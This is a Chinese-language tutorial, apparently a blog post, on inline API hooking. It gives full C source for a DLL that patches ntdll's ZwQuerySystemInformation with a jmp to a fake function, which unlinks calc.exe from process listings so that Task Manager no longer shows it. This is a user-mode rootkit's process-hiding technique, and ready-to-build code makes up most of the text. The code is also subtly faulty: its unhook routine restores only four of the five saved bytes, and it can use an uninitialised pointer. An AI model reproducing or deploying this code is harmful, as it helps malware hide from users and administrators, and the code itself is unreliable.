1.简介:
对于IAT hook 方法,它只能hook掉在iat中的API,如果是通过动态加载的就不行了
因为动态加载的dll的API不在iat中,而是动态生成的.
这时可以预先加载该dll和API,并对API前几个字节进行保存然后修改成
跳转到自己的某函数中,然后进行一些操作后可以再跳回到原来的API.
这就是所谓的API修改hook.
2.以hook掉任务管理器的进程遍历功能,为例,用此来隐藏calc.exe这个进程
windows上ring3层的遍历进程API底层都调用了
ZwQuerySystemInformation 函数 该函数在ntdll中,但没有公开
在网上寻找该API的参数和返回值信息,在代码中体现
代码思路是: 先获取ZwQuerySystemInformation的地址,保存前5个字节的代码. 再覆盖为一个跳转到我们实现的一个伪ZwQuerySystemInformation
函数地址的jmp指令的机器代码.在我们的函数中找到calc.exe的进程名,然后再跳过这个节点即可.
#include "stdafx.h" #include <Windows.h> #include <wchar.h> #include <malloc.h> #include<stdio.h> #define funcName "ZwQuerySystemInformation" #define dllName "ntdll.dll" #define processName L"calc.exe" typedef LONG NTSTATUS; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); BYTE orgCode[5];//原始指令 BYTE fakeCode[5]; //伪造的jmp指令 DWORD funcBase; //我们的函数基址 // char debug[100]={0}; DWORD WINAPI myZwQuerySystemInformation (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); DWORD hook(DWORD funcbase, DWORD fakeFunc); DWORD unhook(DWORD funcbase); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) {
//获取目标函数基址和伪造函数基址 DWORD fakeFunc; funcBase = (DWORD)GetProcAddress(GetModuleHandleA(dllName), funcName); fakeFunc = (DWORD)myZwQuerySystemInformation; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //加载时就hook掉 hook(funcBase, fakeFunc); break; case DLL_PROCESS_DETACH: unhook(funcBase); break; } return TRUE; } DWORD hook(DWORD funcbase, DWORD fakeFunc) { DWORD page;
//如果已经被hook了就不再继续 if(*(BYTE*)funcbase==0xe9) { return 0; } VirtualProtect((LPVOID)funcbase, 5, PAGE_EXECUTE_READWRITE, &page); memcpy(orgCode, (LPVOID)funcbase, 5); fakeCode[0] = 0xe9; DWORD opCode = fakeFunc -funcBase - 5;//jmp指令的操作码计算公式为:目标地址-当前指令地址-5 // sprintf(debug,"hook fakeFunc is %p, funcbase is %p",fakeFunc,funcbase); memcpy(fakeCode + 1, &opCode, 4);//填充为指令 memcpy((LPVOID)funcBase, fakeCode, 5); //修改代码 VirtualProtect((LPVOID)funcbase, 5, page, &page); return 1; } DWORD unhook(DWORD funcbase) { DWORD page; if(*(BYTE*)funcbase!=0xe9) { return 0; } VirtualProtect((LPVOID)funcbase, 5, PAGE_EXECUTE_READWRITE, &page); memcpy((LPVOID)funcBase, orgCode, 4); //恢复代码 VirtualProtect((LPVOID)funcbase, 5, page, &page); return 1; } DWORD WINAPI myZwQuerySystemInformation (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) /* 这个函数的hook和一般的函数不同,这种函数属于查询类的函数,真正有用的信息 在该函数调用完了后才会写到缓冲区类的参数,而调用前的参数信息基本没用, 因此我们要对该函数进行正常调用,完后了再截取信息 */ { DWORD fakeFunc; funcBase = (DWORD)GetProcAddress(GetModuleHandleA(dllName), funcName); fakeFunc = (DWORD)myZwQuerySystemInformation; PSYSTEM_PROCESS_INFORMATION p, pPre; unhook(funcBase); //取消hook以正常调用 DWORD status=4; status=((PFZWQUERYSYSTEMINFORMATION)funcBase)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);//正常调用该函数 if(status!=0) { hook(funcBase, fakeFunc); //hook住 return 0; } if (SystemInformationClass== SystemProcessInformation) //只对查询进程的信息感兴趣 { p = ((PSYSTEM_PROCESS_INFORMATION)SystemInformation); while (1) { if(p->Reserved2[1]!=0) { if (lstrcmpiW((WCHAR*)p->Reserved2[1], processName)==0) { if (p->NextEntryOffset==0)//说明是最后一个了 { pPre->NextEntryOffset = 0; //将后面一个节点的next指针置0即可 } else { //跳过本节点 NextEntryOffset字段是相对于本节点的偏移,而不是绝对地址 //当当前节点是第一个节点时这个式子也成立 pPre->NextEntryOffset += p->NextEntryOffset; } } else { pPre = p; } } if(p->NextEntryOffset==0) { break; } p =((PSYSTEM_PROCESS_INFORMATION)((DWORD)p + p->NextEntryOffset)); } } hook(funcBase, fakeFunc); //hook住 return 1; }